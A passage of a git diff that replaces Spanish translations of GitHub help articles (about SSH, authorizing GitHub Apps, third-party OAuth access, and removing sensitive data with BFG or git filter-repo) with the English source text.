button](/assets/images/help/settings/ssh-sso-button.png) +4. Find the organization you'd like to authorize the SSH key for. +5. Click **Authorize**. +![Token authorize button](/assets/images/help/settings/ssh-sso-authorize.png) -## Leer más +## Further reading -- "[Comprobar claves SSH existentes](/articles/checking-for-existing-ssh-keys)" -- "[Acerca de la autenticación con inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)" +- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)" +- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)" diff --git a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md index 89f526eda2..1d21b7f510 100644 --- a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md +++ b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md @@ -1,6 +1,6 @@ --- -title: Acerca de SSH -intro: 'Usando el protocolo SSH, te puedes conectar y autenticar con servicios y servidores remotos. Con las llaves SSH puedes conectarte a {% data variables.product.product_name %} sin proporcionar tu nombre de usuario y token de acceso personal en cada visita.' +title: About SSH +intro: 'Using the SSH protocol, you can connect and authenticate to remote servers and services. With SSH keys, you can connect to {% data variables.product.product_name %} without supplying your username and personal access token at each visit.' redirect_from: - /articles/about-ssh - /github/authenticating-to-github/about-ssh @@ -13,23 +13,22 @@ versions: topics: - SSH --- +When you set up SSH, you will need to generate a new SSH key and add it to the ssh-agent. You must add the SSH key to your account on {% data variables.product.product_name %} before you use the key to authenticate. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" and "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)." -Cuando configures SSH, necesitarás generar una llave SSH nuevo y agregarla al agente ssh. Debes agregar la llave SSH a tu cuenta en {% data variables.product.product_name %} antes de utilizarla para autenticarte. Para obtener más información, consulta las secciones "[Generar una llave SSH nueva y agregarla al ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" y "[Agregar una llave SSH nueva a tu cuenta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)". +You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)." -Puedes asegurar tu llave SSH aún más si utilizas una llave de seguridad de hardware, la cual requiere que esta última se conecte físicamente a tu computadora cuando se utilice el par de llaves para autenticarte con SSH. También puedes asegurar tu llave SSH si la agregas al ssh-agent y utiliza una contraseña. Para obtener más información, consulta la sección "[Trabajar con frases de acceso con llave SSH](/github/authenticating-to-github/working-with-ssh-key-passphrases)". +{% ifversion fpt or ghec %}To use your SSH key with a repository owned by an organization that uses SAML single sign-on, you must authorize the key. For more information, see "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."{% endif %} -{% ifversion fpt or ghec %}Para utilizar tu llave SSH con un repositorio que pertenece a una organización que utiliza el inicio de sesión único de SAML, debes autorizar dicha llave. Para obtener más información, consulta "[Autorizar una clave SSH para usar con una clave de organización único de SAML](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)".{% endif %} - -Para mantener la seguridad de cuenta, puedes revisar tu lista de llaves SSH frecuentemente y retirar cualquier llave que sea inválida o que se haya puesto en riesgo. Para obtener más información, consulta "[Revisar tus claves SSH](/github/authenticating-to-github/reviewing-your-ssh-keys)". +To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. For more information, see "[Reviewing your SSH keys](/github/authenticating-to-github/reviewing-your-ssh-keys)." {% ifversion fpt or ghec %} -Si no has usado tu clave SSH por un año, entonces {% data variables.product.prodname_dotcom %} automáticamente eliminará tu clave SSH inactiva, como medida de seguridad. Para obtener más información, consulta "[Claves SSH eliminadas o faltantes](/articles/deleted-or-missing-ssh-keys)". +If you haven't used your SSH key for a year, then {% data variables.product.prodname_dotcom %} will automatically delete your inactive SSH key as a security precaution. For more information, see "[Deleted or missing SSH keys](/articles/deleted-or-missing-ssh-keys)." {% endif %} -If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. Para obtener más información, consulta [Acerca de las autoridades de certificación de SSH](/articles/about-ssh-certificate-authorities)". +If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)." -## Leer más +## Further reading -- "[Comprobar claves SSH existentes](/articles/checking-for-existing-ssh-keys)" -- "[Probar tu conexión SSH](/articles/testing-your-ssh-connection)" -- "[Solucionar problemas de SSH](/articles/troubleshooting-ssh)" +- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)" +- "[Testing your SSH connection](/articles/testing-your-ssh-connection)" +- "[Troubleshooting SSH](/articles/troubleshooting-ssh)" diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md index e7a1fdc647..c6949a25c9 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md @@ -1,6 +1,6 @@ --- -title: Autorizar las GitHub Apps -intro: 'Puedes autorizar a una {% data variables.product.prodname_github_app %} para que permita que una aplicación recupere información sobre tu cuenta de {% data variables.product.prodname_dotcom %} y, en algunos casos, para hacer cambios en {% data variables.product.prodname_dotcom %} en tu nombre.' +title: Authorizing GitHub Apps +intro: 'You can authorize a {% data variables.product.prodname_github_app %} to allow an application to retrieve information about your {% data variables.product.prodname_dotcom %} account and, in some circumstances, to make changes on {% data variables.product.prodname_dotcom %} on your behalf.' versions: fpt: '*' ghes: '*' @@ -13,41 +13,44 @@ redirect_from: - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps --- -Las aplicaciones de terceros que necesitan verificar tu identidad de {% data variables.product.prodname_dotcom %} o interactuar con los datos de {% data variables.product.prodname_dotcom %} en tu nombre pueden pedirte que autorices la {% data variables.product.prodname_github_app %} para hacerlo. +Third-party applications that need to verify your {% data variables.product.prodname_dotcom %} identity, or interact with the data on {% data variables.product.prodname_dotcom %} on your behalf, can ask you to authorize the {% data variables.product.prodname_github_app %} to do so. -Al autorizar la {% data variables.product.prodname_github_app %}, deberías asegurarte de que confías en la aplicación, revisar quién la desarrolló y revisar los tipos de información a la que desea acceder la aplicación. +When authorizing the {% data variables.product.prodname_github_app %}, you should ensure you trust the application, review who it's developed by, and review the kinds of information the application wants to access. -Durante la autorización, se te pedirá que otorgues el permiso de {% data variables.product.prodname_github_app %} para: -* **Verifica tu identidad de {% data variables.product.prodname_dotcom %}**
Cuando se te autorice, la {% data variables.product.prodname_github_app %} podrá recuperar tu perfil público de GitHub mediante programación, así como algunos detalles privados (tal como tu dirección de correo electrónico), dependiendo del nivel de acceso solicitado. -* **Puedes saber a qué recursos puedes acceder**
Cuando se te autorice, la {% data variables.product.prodname_github_app %} podrá leer mediante programación los recursos _privados_ {% data variables.product.prodname_dotcom %} a los que puedes acceder (tales como los repositorios privados de {% data variables.product.prodname_dotcom %}) _en donde_ también está presente una instalación de la {% data variables.product.prodname_github_app %}. La aplicación podría utilizar esto, por ejemplo, para que pueda mostrarte una lista adecuada de repositorios. -* **Actuar en tu nombre**
La aplicación podría necesitar realizar tareas en {% data variables.product.prodname_dotcom %} como si fueras tú. Esto podría incluir el crear una propuesta o comentar en una solicitud de cambios. Esta capacidad de actuar en tu nombre se limita a los recursos de {% data variables.product.prodname_dotcom %} en donde _tanto_ tú como la {% data variables.product.prodname_github_app %} tengan acceso. Sin embargo, en algunos casos, la aplicación podría jamás hacer cambios en tu nombre. +During authorization, you'll be prompted to grant the {% data variables.product.prodname_github_app %} permission to: +* **Verify your {% data variables.product.prodname_dotcom %} identity**
+ When authorized, the {% data variables.product.prodname_github_app %} will be able to programmatically retrieve your public GitHub profile, as well as some private details (such as your email address), depending on the level of access requested. +* **Know which resources you can access**
+ When authorized, the {% data variables.product.prodname_github_app %} will be able to programmatically read the _private_ {% data variables.product.prodname_dotcom %} resources that you can access (such as private {% data variables.product.prodname_dotcom %} repositories) _where_ an installation of the {% data variables.product.prodname_github_app %} is also present. The application may use this, for example, so that it can show you an appropriate list of repositories. +* **Act on your behalf**
+ The application may need to perform tasks on {% data variables.product.prodname_dotcom %}, as you. This might include creating an issue, or commenting on a pull request. This ability to act on your behalf is limited to the {% data variables.product.prodname_dotcom %} resources where _both_ you and the {% data variables.product.prodname_github_app %} have access. In some cases, however, the application may never make any changes on your behalf. + +## When does a {% data variables.product.prodname_github_app %} act on your behalf? -## ¿Cuándo actúa una {% data variables.product.prodname_github_app %} en tu nombre? +The situations in which a {% data variables.product.prodname_github_app %} acts on your behalf vary according to the purpose of the {% data variables.product.prodname_github_app %} and the context in which it is being used. -Las situaciones en las cuales una {% data variables.product.prodname_github_app %} actúa en tu nombre varían de acuerdo con el propósito de la {% data variables.product.prodname_github_app %} y el contexto en el cual se utiliza. +For example, an integrated development environment (IDE) may use a {% data variables.product.prodname_github_app %} to interact on your behalf in order to push changes you have authored through the IDE back to repositories on {% data variables.product.prodname_dotcom %}. The {% data variables.product.prodname_github_app %} will achieve this through a [user-to-server request](/get-started/quickstart/github-glossary#user-to-server-request). -Por ejemplo, un ambiente de desarrollo integrado (IDE) podría utilizar una {% data variables.product.prodname_github_app %} para interactuar en tu nombre para subir los cambios que son de tu autoría a través del IDE de vuelta a los repositorios en {% data variables.product.prodname_dotcom %}. La {% data variables.product.prodname_github_app %} logrará esto mediante una [solicitud de usuario a servidor](/get-started/quickstart/github-glossary#user-to-server-request). +When a {% data variables.product.prodname_github_app %} acts on your behalf in this way, this is identified on GitHub via a special icon that shows a small avatar for the {% data variables.product.prodname_github_app %} overlaid onto your own avatar, similar to the one shown below. -Cuando una {% data variables.product.prodname_github_app %} actúa en tu nombre de esta forma, esto lo identifica GitHub a través de un icono especial que muestra un avatar pequeño de la {% data variables.product.prodname_github_app %} sobre tu propio avatar, similar al que se muestra a continuación. +![An issue created by a "user-to-server" request from a {% data variables.product.prodname_github_app %}](/assets/images/help/apps/github-apps-new-issue.png) -![Una propuesta que creó una solicitud de "usuario a servidor" desde una {% data variables.product.prodname_github_app %}](/assets/images/help/apps/github-apps-new-issue.png) +## To what extent can a {% data variables.product.prodname_github_app %} know which resources you can access and act on your behalf? -## ¿Hasta qué punto puede una {% data variables.product.prodname_github_app %} saber a qué recursos puedes acceder y actuar en tu nombre? +The extent to which a {% data variables.product.prodname_github_app %} can know which resources you can access and act on your behalf, after you have authorized it, is limited by: -El grado en el que una {% data variables.product.prodname_github_app %} puede saber a qué recursos puedes acceder y actuar en tu nombre, después de que la has autorizado, se limita por: +* The organizations or repositories on which the app is installed +* The permissions the app has requested +* Your access to {% data variables.product.prodname_dotcom %} resources -* Las organizaciones o repositorios en los cuales se instaló la app -* Los permisos que la app solicitó -* Tu acceso a los recursos de {% data variables.product.prodname_dotcom %} +Let's use an example to explain this. -Utilicemos un ejemplo para explicar esto. +{% data variables.product.prodname_dotcom %} user Alice logs into a third-party web application, ExampleApp, using their {% data variables.product.prodname_dotcom %} identity. During this process, Alice authorizes ExampleApp to perform actions on their behalf. -{% data variables.product.prodname_dotcom %} el usuario Alice inicia sesión en una aplicación web de un tercero, ExampleApp, utilizando su identidad de {% data variables.product.prodname_dotcom %}. Durante este proceso, Alice autoriza a ExampleApp para que realice acciones en su nombre. +However, the activity ExampleApp is able to perform on Alice's behalf in {% data variables.product.prodname_dotcom %} is constrained by: the repositories on which ExampleApp is installed, the permissions ExampleApp has requested, and Alice's access to {% data variables.product.prodname_dotcom %} resources. -Sin embargo, la actividad que ExampleApp puede realizar en nombre de Alice en {% data variables.product.prodname_dotcom %} está limitada por: los repositorios en los cuales se instaló ExampleApp, los permisos que solicitó ExampleApp y el acceso de Alice a los recursos de {% data variables.product.prodname_dotcom %}. +This means that, in order for ExampleApp to create an issue on Alice's behalf, in a repository called Repo A, all of the following must be true: -Esto significa que, para que la ExampleApp cree una propuesta en nombre de Alice, en un repositorio llamado Repo A, todo lo siguiente debe suceder: - -* La {% data variables.product.prodname_github_app %} de ExampleApp solicita acceso de escritura para las propuestas. -* Un usuario que tiene acceso administrativo para el Repo A debe tener instalada la {% data variables.product.prodname_github_app %} de ExampleApp en este. +* ExampleApp's {% data variables.product.prodname_github_app %} requests write access to issues. +* A user having admin access for Repo A must have installed ExampleApp's {% data variables.product.prodname_github_app %} on Repo A. * Alice must have read permission for Repo A. For information about which permissions are required to perform various activities, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md index a1607ce776..e70e25bdd2 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md @@ -1,6 +1,6 @@ --- -title: Conectar con aplicaciones de terceros -intro: 'Puedes conectar tu identidad {% data variables.product.product_name %} con aplicaciones de terceros mediante OAuth. Al autorizar una de estas aplicaciones, deberías asegurarte de que confías en la aplicación, revisar quién la desarrolló y revisar los tipos de información a la que desea acceder la aplicación.' +title: Connecting with third-party applications +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' redirect_from: - /articles/connecting-with-third-party-applications - /github/authenticating-to-github/connecting-with-third-party-applications @@ -13,66 +13,65 @@ versions: topics: - Identity - Access management -shortTitle: Aplicaciones de terceros +shortTitle: Third-party applications --- +When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested. -Cuando una aplicación de terceros desea identificarte mediante tu inicio de sesión de {% data variables.product.product_name %}, verás una página con la información de contacto del programador y una lista de los datos específicos que se han solicitado. +## Contacting the application developer -## Contactarse con el programador de la aplicación +Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application. -Dado que una aplicación está desarrollada por un tercero que no es {% data variables.product.product_name %}, no sabemos exactamente cómo una aplicación usa los datos a los que solicita acceso. Puedes usar la información del programador en la parte superior de la página para contactarte con el administrador de la aplicación si tienes preguntas o inquietudes sobre tu aplicación. +![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png) -![Información del propietario de {% data variables.product.prodname_oauth_app %}](/assets/images/help/platform/oauth_owner_bar.png) +If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website. -Si el programador ha elegido suministrarla, el lateral derecho de la página brinda una descripción detallada de la aplicación, así como su sitio web asociado. +![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png) -![Información de la aplicación OAuth y sitio web](/assets/images/help/platform/oauth_app_info.png) +## Types of application access and data -## Tipos de acceso a la aplicación y datos +Applications can have *read* or *write* access to your {% data variables.product.product_name %} data. -Las aplicaciones pueden tener acceso de *lectura* o *escritura* a tus datos de {% data variables.product.product_name %}. +- **Read access** only allows an application to *look at* your data. +- **Write access** allows an application to *change* your data. -- El **acceso de lectura** solo permite que una aplicación *mire* tus datos. -- El **acceso de escritura** permite que una aplicación *cambie* tus datos. +### About OAuth scopes -### Acerca de los alcances de OAuth +*Scopes* are named groups of permissions that an application can request to access both public and non-public data. -*Alcances* son grupos de permisos designados que una aplicación puede solicitar para acceder a los datos públicos y no públicos. - -Cuando quieres usar una aplicación de terceros que se integra con {% data variables.product.product_name %}, esa aplicación te permite conocer qué tipo de acceso a tus datos serán necesarios. Si otorgas acceso a la aplicación, la aplicación podrá realizar acciones en tu nombre, como leer o modificar datos. Por ejemplo, si quieres usar una app que solicita el alcance `usuario:correo electrónico`, la app solo tendrá acceso de lectura a tus direcciones de correo electrónico privado. Para obtener más información, consulta la sección "[Acerca de los alcances para {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)". +When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." {% tip %} -**Nota:** Actualmente, no puedes demarcar el acceso al código fuente a solo lectura. +**Note:** Currently, you can't scope source code access to read-only. {% endtip %} -### Tipos de datos solicitados +### Types of requested data -Existen varios tipos de datos que las aplicaciones pueden solicitar. +There are several types of data that applications can request. -![Detalles de acceso a OAuth](/assets/images/help/platform/oauth_access_types.png) +![OAuth access details](/assets/images/help/platform/oauth_access_types.png) {% tip %} -**Sugerencia:** {% data reusables.user_settings.review_oauth_tokens_tip %} +**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %} {% endtip %} -| Tipos de datos | Descripción | -| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Estado de confirmación | Puedes otorgar acceso a una aplicación de terceros para que informe tu estado de confirmación. El acceso al estado de confirmación permite que las aplicaciones determinen si una construcción es exitosa frente a una confirmación específica. Las aplicaciones no tendrán acceso a tu código, pero pueden leer y escribir la información del estado frente a una confirmación específica. | -| Implementaciones | El acceso a los estados de despliegue les permite a las aplicaciones determinar si un despliegue es exitoso contra una confirmación específica para un repositorio. Las aplicaciones no tendrán acceso a tu código. | -| Gists | El acceso a los [Gists](https://gist.github.com) permite a las aplicaciones leer o escribir tanto en{% ifversion not ghae %}tus gists públicos y{% else %}tus gists internos y{% endif %} secretos. | -| Ganchos | El acceso a [webhooks](/webhooks) permite que las aplicaciones lean o escriban configuraciones de gancho en los repositorios que administras. | -| Notificaciones | El acceso a las notificaciones permite a las aplicaciones leer tus notificaciones de {% data variables.product.product_name %}, tales como los comentarios sobre las propuestas y las solicitudes de cambios. Sin embargo, las aplicaciones permanecen inhabilitadas para acceder a tus repositorios. | -| Organizaciones y equipos | El acceso a organizaciones y equipos permite que las apps accedan y administren la membresía de la organización y del equipo. | -| Datos personales del usuario | Entre los datos del usuario se incluye información que se encuentra en tu perfil de usuario, como tu nombre, dirección de correo electrónico y ubicación. | -| Repositorios | La información del repositorio incluye los nombres de los colaboradores, las ramas que creaste y los archivos actuales dentro de tu repositorio. Las aplicaciones pueden solicitar acceso tanto para los repositorios {% ifversion not ghae %}públicos{% else %}como internos{% endif %}o privados a nivel de todos los usuarios. | -| Eliminación de repositorio | Las aplicaciones pueden solicitar la eliminación de los repositorios que administras,, pero no tendrán acceso a tu código. | +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | +| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | -## Solicitar permisos actualizados +## Requesting updated permissions -Las aplicaciones pueden solicitar nuevos privilegios de acceso. Al solicitar permisos actualizados, la aplicación te notificará de las diferencias. +Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences. -![Cambiar el acceso a aplicaciones de terceros](/assets/images/help/platform/oauth_existing_access_pane.png) +![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png) diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md index f80f63fae1..9056bc0961 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md @@ -1,6 +1,6 @@ --- -title: Eliminar datos confidenciales de un repositorio -intro: 'Si confirmas datos confidenciales, como una contraseña o clave SSH en un repositorio de Git, puedes eliminarlos del historial. Para eliminar archivos no deseados por completo del historial de un repositorio, puedes utilizar ya sea la herramienta `git filter-repo` o la herramienta de código abierto BFG Repo-Cleaner.' +title: Removing sensitive data from a repository +intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.' redirect_from: - /remove-sensitive-data/ - /removing-sensitive-data/ @@ -16,66 +16,65 @@ versions: topics: - Identity - Access management -shortTitle: Eliminar los datos sensibles +shortTitle: Remove sensitive data --- +The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository. -La herramienta `git filter-repo` y el BFG Repo-Cleaner reescriben el historial de tu repositorio, el cual cambia los SHA para las confirmaciones existentes que alteras y cualquier confirmación dependiente. Las SHA de confirmación modificadas pueden afectar las solicitudes de extracción abiertas de tu repositorio. Recomendamos fusionar o cerrar todas las solicitudes de extracción abiertas antes de eliminar archivos de tu repositorio. - -Puedes eliminar el archivo desde la última confirmación con `git rm`. Para obtener más información sobre cómo eliminar un archivo que se agregó con la última confirmación, consulta la sección "[Acerca de los archivos grandes en {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)". +You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)." {% warning %} -This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Sin embargo, es importante tener en cuenta que esas confirmaciones pueden seguir siendo accesibles desde cualquier clon o bifurcación de tu repositorio, directamente por medio de sus hashes de SHA-1 en las visualizaciones cacheadas en {% data variables.product.product_name %} y a través de cualquier solicitud de extracción que las referencie. No puedes eliminar los datos sensibles desde los clones o bifurcaciones de tu repositorio que tengan otros usuarios, pero puedes eliminar las vistas almacenadas en caché permanentemente, así como las referencias a los datos sensibles en las solicitudes de cambios en {% data variables.product.product_name %} si contactas al {% data variables.contact.contact_support %}. +This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. However, it's important to note that those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. -**Advertencia: Una vez que hayas subido una confirmación a {% data variables.product.product_name %}, deberías considerar cualquier dato sensible en la confirmación como puesto en riesgo.** Si confirmaste una contraseña, ¡cámbiala! Si confirmaste una clave, genera una nueva. El eliminar los datos puestos en riesgo no resuelve su exposición inicial, especialmente en clones o bifurcaciones de tu repositorio existentes. Considera estas limitaciones en tu decisión para reescribir el historial de tu repositorio. +**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! If you committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history. {% endwarning %} -## Purgar un archivo del historial de tu repositorio +## Purging a file from your repository's history -Puedes purgar un archivo del historial de tu repositorio utilizando ya sea la herramienta `git filter-repo` o la herramienta de código abierto BFG Repo-Cleaner. +You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool. -### Usar el BFG +### Using the BFG -El [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) es una herramienta construida y mantenida por la comunidad de código abierto. Proporciona una alternativa más rápida y simple que `git filter-branch` para eliminar datos no deseados. +The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. -Por ejemplo, para eliminar tu archivo con datos confidenciales y dejar intacta tu última confirmación, ejecuta lo siguiente: +For example, to remove your file with sensitive data and leave your latest commit untouched, run: ```shell $ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA ``` -Para reemplazar todo el texto detallado en `passwords.txt` donde sea que se encuentre en el historial de tu repositorio, ejecuta lo siguiente: +To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run: ```shell $ bfg --replace-text passwords.txt ``` -Después de que se eliminan los datos sensibles, debes subir forzadamente tus cambios a {% data variables.product.product_name %}. +After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on. ```shell $ git push --force ``` -Consulta los documentos de [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) para obtener todas las indicaciones para el uso y la descarga. +See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions. -### Utilizar git filter-repo +### Using git filter-repo {% warning %} -**Advertencia:** si ejecutas `git filter-repo` después de haber acumulado cambios, no podrás retribuir tus cambios con otros comandos acumulados. Antes de ejecutar `git filter-repo`, te recomendamos anular la acumulación de cualquier cambio que hayas hecho. Para dejar de acumular el último conjunto de cambios que hayas acumulado, ejecuta `git stash show -p | git apply -R`. Para obtener más información, consulta la sección [Herramientas - Almacenar y Limpiar](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). +**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). {% endwarning %} -Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu archivo con datos confidenciales del historial de tu repositorio y agregarlo a `.gitignore` para asegurar que no se reconfirmó de manera accidental. +To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not accidentally re-committed. -1. Instala el último lanzamiento de la herramienta [git filter-repo](https://github.com/newren/git-filter-repo). Puedes instalar `git-filter-repo` manualmente o utilizando un administrador de paquete. Por ejemplo, para instalar la herramienta con HomeBrew, utiliza el comando `brew install`. +1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command. ``` brew install git-filter-repo ``` - Para obtener más información, consulta el archivo [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) en el repositorio `newren/git-filter-repo`. + For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository. -2. Si aún no tienes una copia local de tu repositorio con datos confidenciales en el historial, [clona el repositorio](/articles/cloning-a-repository/) en tu computadora local. +2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer. ```shell $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/ @@ -85,15 +84,15 @@ Para ilustrar cómo funciona `git filter-repo`, te mostraremos cómo eliminar tu > Receiving objects: 100% (1301/1301), 164.39 KiB, done. > Resolving deltas: 100% (724/724), done. ``` -3. Navega hacia el directorio de trabajo del repositorio. +3. Navigate into the repository's working directory. ```shell $ cd YOUR-REPOSITORY ``` -4. Ejecuta el siguiente comando, reemplazando `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` por la **ruta al archivo que quieres eliminar, no solo con su nombre de archivo**. Estos argumentos harán lo siguiente: - - Forzar a Git a que procese, 